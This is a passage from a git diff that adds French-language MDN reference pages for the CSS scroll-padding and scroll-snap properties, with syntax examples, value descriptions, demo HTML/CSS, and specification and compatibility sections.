+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-padding-inline-start", "scroll-padding-inline-start")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-padding-inline-start")}}</p>
diff --git a/files/fr/web/css/scroll-padding-inline/index.html b/files/fr/web/css/scroll-padding-inline/index.html
new file mode 100644
index 0000000000..642fa78f58
--- /dev/null
+++ b/files/fr/web/css/scroll-padding-inline/index.html
@@ -0,0 +1,78 @@
+---
+title: scroll-padding-inline
+slug: Web/CSS/scroll-padding-inline
+tags:
+  - CSS
+  - Propriété
+  - Propriété logique
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/scroll-padding-inline
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>scroll-padding-inline</strong></code> est une propriété raccourcie qui permet de définir le remplissage, sur l'axe en ligne, entre l'élément et la zone de défilement. Autrement dit, elle permet de définir <code>scroll-padding-inline-end</code> et <code>scroll-padding-inline-start</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-padding-inline.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les propriétés pour le remplissage de la zone de défilement permettent de définir des décalages par rapport à la zone de défilement de l'élément (<em>scrollport</em>). On peut ainsi éviter à un élément d'être affiché là où d'autres barres sont présentes ou encore donner plus d'espace entre un élément et les barres de défilement pour y naviguer.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scroll-padding-inline: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-padding-inline: 10px;
+scroll-padding-inline: 1em .5em;
+scroll-padding-inline: 10%;
+
+/* Valeurs globales */
+scroll-padding-inline: inherit;
+scroll-padding-inline: initial;
+scroll-padding-inline: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Un décalage intérieur entre la boîte de défilement et le bord correspondant de l'élément. C'est une longueur ou un pourcentage valide.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le décalage est déterminé par l'agent utilisateur. Cette valeur correspond généralement à <code>0px</code> mais le navigateur peut utiliser une heuristique et déterminer si une valeur non nulle est préférable au regard du contexte dans lequel se trouve l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-padding-inline", "scroll-padding-inline")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-padding-inline")}}</p>
diff --git a/files/fr/web/css/scroll-padding-left/index.html b/files/fr/web/css/scroll-padding-left/index.html
new file mode 100644
index 0000000000..4cd58ee8a7
--- /dev/null
+++ b/files/fr/web/css/scroll-padding-left/index.html
@@ -0,0 +1,77 @@
+---
+title: scroll-padding-left
+slug: Web/CSS/scroll-padding-left
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-padding-left
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>scroll-padding-left</strong></code> est une propriété qui permet de définir le remplissage sur le côté gauche entre l'élément et la zone de défilement.</p>
+
+<p>Les propriétés pour le remplissage de la zone de défilement permettent de définir des décalages par rapport à la zone de défilement de l'élément (<em>scrollport</em>). On peut ainsi éviter à un élément d'être affiché là où d'autres barres sont présentes ou encore donner plus d'espace entre un élément et les barres de défilement pour y naviguer.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-padding-left.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scroll-padding-left: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-padding-left: 10px;
+scroll-padding-left: 1em;
+scroll-padding-left: 10%;
+
+/* Valeurs globales */
+scroll-padding-left: inherit;
+scroll-padding-left: initial;
+scroll-padding-left: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Un décalage intérieur entre la boîte de défilement et le bord correspondant de l'élément. C'est une longueur ou un pourcentage valide.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le décalage est déterminé par l'agent utilisateur. Cette valeur correspond généralement à <code>0px</code> mais le navigateur peut utiliser une heuristique et déterminer si une valeur non nulle est préférable au regard du contexte dans lequel se trouve l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-padding-left", "scroll-padding-left")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-padding-left")}}</p>
diff --git a/files/fr/web/css/scroll-padding-right/index.html b/files/fr/web/css/scroll-padding-right/index.html
new file mode 100644
index 0000000000..135dd97e41
--- /dev/null
+++ b/files/fr/web/css/scroll-padding-right/index.html
@@ -0,0 +1,75 @@
+---
+title: scroll-padding-right
+slug: Web/CSS/scroll-padding-right
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-padding-right
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>scroll-padding-right</strong></code> est une propriété qui permet de définir le remplissage sur le côté droit entre l'élément et la zone de défilement.</p>
+
+<p>Les propriétés pour le remplissage de la zone de défilement permettent de définir des décalages par rapport à la zone de défilement de l'élément (<em>scrollport</em>). On peut ainsi éviter à un élément d'être affiché là où d'autres barres sont présentes ou encore donner plus d'espace entre un élément et les barres de défilement pour y naviguer.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-padding-right.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scroll-padding-right: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-padding-right: 10px;
+scroll-padding-right: 1em;
+scroll-padding-right: 10%;
+
+/* Valeurs globales */
+scroll-padding-right: inherit;
+scroll-padding-right: initial;
+scroll-padding-right: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Un décalage intérieur entre la boîte de défilement et le bord correspondant de l'élément. C'est une longueur ou un pourcentage valide.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le décalage est déterminé par l'agent utilisateur. Cette valeur correspond généralement à <code>0px</code> mais le navigateur peut utiliser une heuristique et déterminer si une valeur non nulle est préférable au regard du contexte dans lequel se trouve l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-padding-right", "scroll-padding-right")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-padding-right")}}</p>
diff --git a/files/fr/web/css/scroll-padding-top/index.html b/files/fr/web/css/scroll-padding-top/index.html
new file mode 100644
index 0000000000..72bea4927f
--- /dev/null
+++ b/files/fr/web/css/scroll-padding-top/index.html
@@ -0,0 +1,76 @@
+---
+title: scroll-padding-top
+slug: Web/CSS/scroll-padding-top
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-padding-top
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>scroll-padding-top</strong></code> est une propriété qui permet de définir le remplissage sur le côté haut entre l'élément et la zone de défilement.</p>
+
+<p>Les propriétés pour le remplissage de la zone de défilement permettent de définir des décalages par rapport à la zone de défilement de l'élément (<em>scrollport</em>). On peut ainsi éviter à un élément d'être affiché là où d'autres barres sont présentes ou encore donner plus d'espace entre un élément et les barres de défilement pour y naviguer.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-padding-top.html")}}</div>
+
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scroll-padding-top: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-padding-top: 10px;
+scroll-padding-top: 1em;
+scroll-padding-top: 10%;
+
+/* Valeurs globales */
+scroll-padding-top: inherit;
+scroll-padding-top: initial;
+scroll-padding-top: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Un décalage intérieur entre la boîte de défilement et le bord correspondant de l'élément. C'est une longueur ou un pourcentage valide.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le décalage est déterminé par l'agent utilisateur. Cette valeur correspond généralement à <code>0px</code> mais le navigateur peut utiliser une heuristique et déterminer si une valeur non nulle est préférable au regard du contexte dans lequel se trouve l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-padding-top", "scroll-padding-top")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-padding-top")}}</p>
diff --git a/files/fr/web/css/scroll-padding/index.html b/files/fr/web/css/scroll-padding/index.html
new file mode 100644
index 0000000000..533f712e98
--- /dev/null
+++ b/files/fr/web/css/scroll-padding/index.html
@@ -0,0 +1,76 @@
+---
+title: scroll-padding
+slug: Web/CSS/scroll-padding
+tags:
+  - CSS
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/scroll-padding
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <code><strong>scroll-padding</strong></code> est une <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> qui permet de définir l'ensemble des propriétés <code>scroll-padding-top</code>, <code>scroll-padding-right</code>, <code>scroll-padding-bottom</code> et <code>scroll-padding-left</code> (de la même façon que la propriété {{cssxref("padding")}} permet de définir les propriétés détaillées associées).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/scroll-padding.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les propriétés <code>scroll-padding-*</code> permettent de définir des décalages par rapport à la zone de défilement de l'élément (<em>scrollport</em>). On peut ainsi éviter à un élément d'être affiché là où d'autres barres sont présentes ou encore donner plus d'espace entre un élément et les barres de défilement pour y naviguer.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scroll-padding: auto;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+scroll-padding: 10px;
+scroll-padding: 1em .5em 1em 1em;
+scroll-padding: 10%;
+
+/* Valeurs globales */
+scroll-padding: inherit;
+scroll-padding: initial;
+scroll-padding: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Un décalage intérieur entre la boîte de défilement et le bord correspondant de l'élément. Cette valeur, de type {{cssxref("&lt;length-percentage&gt;")}}, est une longueur ({{cssxref("&lt;length&gt;")}}) ou un pourcentage ({{cssxref("&lt;percentage&gt;")}}) valide.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Le décalage est déterminé par l'agent utilisateur. Cette valeur correspond généralement à <code>0px</code> mais le navigateur peut utiliser une heuristique et déterminer si une valeur non nulle est préférable au regard du contexte dans lequel se trouve l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-padding", "scroll-padding")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-padding")}}</p>
diff --git a/files/fr/web/css/scroll-snap-align/index.html b/files/fr/web/css/scroll-snap-align/index.html
new file mode 100644
index 0000000000..e47b84f197
--- /dev/null
+++ b/files/fr/web/css/scroll-snap-align/index.html
@@ -0,0 +1,73 @@
+---
+title: scroll-snap-align
+slug: Web/CSS/scroll-snap-align
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-snap-align
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>scroll-snap-align</code></strong> définit la position de la boîte d'accroche (<em>snap positions</em>) comme un alignement entre la zone d'accroche et le conteneur (la boîte de défilement de l'élément). Les deux valeurs fournies à cette propriété s'appliquent respectivement à l'axe de bloc et à l'axe en ligne. Lorsqu'une seule valeur est fournie, la seconde prendra par défaut la valeur de la première.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+scroll-snap-align: none;
+scroll-snap-align: start end;
+scroll-snap-align: center;
+
+/* Valeurs globales */
+scroll-snap-align: inherit;
+scroll-snap-align: initial;
+scroll-snap-align: unset;
+</pre>
+
+<h3 id="Values" name="Values">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>La boîte ne définit aucune position d'accroche sur cet axe.</dd>
+ <dt><code>start</code></dt>
+ <dd>Le point d'alignement situé au début de l'axe et sur le bord de la boîte de défilement est une position d'accroche sur cet axe.</dd>
+ <dt><code>end</code></dt>
+ <dd>Le point d'alignement situé à la fin de l'axe et sur le bord de la boîte de défilement est une position d'accroche sur cet axe.</dd>
+ <dt><code>center</code></dt>
+ <dd>Le point d'alignement situé au centre de l'axe et à l'intérieur de la boîte de défilement est une position d'accroche sur cet axe.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-snap-align", "scroll-snap-align")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-snap-align")}}</p>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> Pour Safari, la syntaxe utilisant les deux valeurs intervertit les deux valeurs (la première cible l'alignement en ligne et la seconde l'alignement en bloc). Voir <a href="https://bugs.webkit.org/show_bug.cgi?id=191865">le bug n°191865</a>.</p>
+</div>
diff --git a/files/fr/web/css/scroll-snap-coordinate/index.html b/files/fr/web/css/scroll-snap-coordinate/index.html
new file mode 100644
index 0000000000..dbfa4f05c3
--- /dev/null
+++ b/files/fr/web/css/scroll-snap-coordinate/index.html
@@ -0,0 +1,157 @@
+---
+title: scroll-snap-coordinate
+slug: Web/CSS/scroll-snap-coordinate
+tags:
+  - CSS
+  - Déprécié
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-snap-coordinate
+---
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<p>La propriété <strong> <code>scroll-snap-coordinate</code></strong> définit les coordonnées horizontale et verticale, au sein de l'élément, qui s'aligneront avec les points définis par {{cssxref("scroll-snap-destination")}} dans le conteneur le plus proche en termes de parenté.</p>
+
+<p>Si l'élément a été transformé, les coordonnées sont transformées de la même façon afin d'aligner le point d'accroche avec l'élément tel qu'il est affiché.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeur avec un mot-clé */
+scroll-snap-coordinate: none;
+
+/* Valeurs de &lt;position&gt; */
+/* Une paire de coordonnées */
+scroll-snap-coordinate: 50px 50px;
+/* Plusieurs coordonnées */
+scroll-snap-coordinate: 100px 100px, 100px bottom;
+
+/* Valeurs globales */
+scroll-snap-coordinate: inherit;
+scroll-snap-coordinate: initial;
+scroll-snap-coordinate: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>L'élément ne contribue à aucun point d'accrochage.</dd>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>Définit le décalage du point d'accrochage par rapport à la boîte de bordure le l'élément. Pour chaque paire, la première valeur indique l'abscisse et la seconde, l'ordonnée. Pour plus d'informations sur les valeurs possibles, voir {{cssxref("&lt;position&gt;")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+  &lt;div&gt;
+    &lt;p&gt;Coordonnées (0, 0)&lt;/p&gt;
+    &lt;div class="scrollContainer coordinate0"&gt;
+      &lt;div&gt;1&lt;/div&gt;
+      &lt;div&gt;2&lt;/div&gt;
+      &lt;div&gt;3&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;div&gt;
+    &lt;p&gt;Coordonnées (25, 0)&lt;/p&gt;
+    &lt;div class="scrollContainer coordinate25"&gt;
+      &lt;div&gt;1&lt;/div&gt;
+      &lt;div&gt;2&lt;/div&gt;
+      &lt;div&gt;3&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;div&gt;
+    &lt;p&gt;Coordonnées (50, 0)&lt;/p&gt;
+    &lt;div class="scrollContainer coordinate50"&gt;
+      &lt;div&gt;1&lt;/div&gt;
+      &lt;div&gt;2&lt;/div&gt;
+      &lt;div&gt;3&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#container {
+  display: flex;
+}
+
+#container &gt; div:nth-child(-n+2) {
+  margin-right: 20px;
+}
+
+.scrollContainer {
+  width: 100px;
+  overflow: auto;
+  white-space: nowrap;
+  scroll-snap-type: mandatory;
+  font-size: 0;
+}
+
+.scrollContainer &gt; div {
+  width: 100px;
+  height: 100px;
+  display: inline-block;
+  line-height: 100px;
+  text-align: center;
+  font-size: 50px;
+}
+
+.coordinate0 &gt; div {
+  scroll-snap-coordinate: 0 0;
+}
+
+.coordinate25 &gt; div {
+  scroll-snap-coordinate: 25px 0;
+}
+
+.coordinate50 &gt; div {
+  scroll-snap-coordinate: 50px 0;
+}
+
+.scrollContainer &gt; div:nth-child(even) {
+  background-color: #87ea87;
+}
+
+.scrollContainer &gt; div:nth-child(odd) {
+  background-color: #87ccea;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", "170")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-snap-coordinate", "scroll-snap-coordinate")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.scroll-snap-coordinate")}}</p>
diff --git a/files/fr/web/css/scroll-snap-destination/index.html b/files/fr/web/css/scroll-snap-destination/index.html
new file mode 100644
index 0000000000..032eb7846e
--- /dev/null
+++ b/files/fr/web/css/scroll-snap-destination/index.html
@@ -0,0 +1,149 @@
+---
+title: scroll-snap-destination
+slug: Web/CSS/scroll-snap-destination
+tags:
+  - CSS
+  - Déprécié
+  - Propriété
+  - Reference
+translation_of: Web/CSS/scroll-snap-destination
+---
+<div>{{CSSRef}}{{deprecated_header}}</div>
+
+<p>La propriété <strong><code>scroll-snap-destination</code></strong> définit les coordonnées horizontale et verticale des points d'accroche dans le {{Glossary("viewport")}} du conteneur.</p>
+
+<pre class="brush: css  no-line-numbers">/* Valeur &lt;position&gt; */
+scroll-snap-destination: 400px 600px;
+
+/* Valeurs globales */
+scroll-snap-destination: inherit;
+scroll-snap-destination: initial;
+scroll-snap-destination: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>Définit le décalage entre le bord du viewport du conteneur et le point d'accroche à utiliser lors du défilement. La première valeur indique la coordonnée horizontale et la seconde indique la coordonnée verticale.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+  &lt;div&gt;
+    &lt;p&gt;Coordonnées (0, 0)&lt;/p&gt;
+    &lt;div class="scrollContainer destination0"&gt;
+      &lt;div&gt;1&lt;/div&gt;
+      &lt;div&gt;2&lt;/div&gt;
+      &lt;div&gt;3&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;div&gt;
+    &lt;p&gt;Coordonnées (25, 0)&lt;/p&gt;
+    &lt;div class="scrollContainer destination25"&gt;
+      &lt;div&gt;1&lt;/div&gt;
+      &lt;div&gt;2&lt;/div&gt;
+      &lt;div&gt;3&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;div&gt;
+    &lt;p&gt;Coordonnées (50, 0)&lt;/p&gt;
+    &lt;div class="scrollContainer destination50"&gt;
+      &lt;div&gt;1&lt;/div&gt;
+      &lt;div&gt;2&lt;/div&gt;
+      &lt;div&gt;3&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#container {
+  display: flex;
+}
+
+#container &gt; div:nth-child(-n+2) {
+  margin-right: 20px;
+}
+
+.scrollContainer {
+  width: 100px;
+  overflow: auto;
+  white-space: nowrap;
+  scroll-snap-points-x: repeat(100%);
+  scroll-snap-type: mandatory;
+  scroll-snap-destination: 20px 0;
+  font-size: 0;
+}
+
+.destination0 {
+  scroll-snap-destination: 0 0;
+}
+
+.destination25 {
+  scroll-snap-destination: 25px 0;
+}
+
+.destination50 {
+  scroll-snap-destination: 50px 0;
+}
+
+.scrollContainer &gt; div {
+  width: 100px;
+  height: 100px;
+  display: inline-block;
+  line-height: 100px;
+  text-align: center;
+  font-size: 50px;
+}
+
+.scrollContainer &gt; div:nth-child(even) {
+  background-color: #87EA87;
+}
+
+.scrollContainer &gt; div:nth-child(odd) {
+  background-color: #87CCEA;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "100%", "170")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
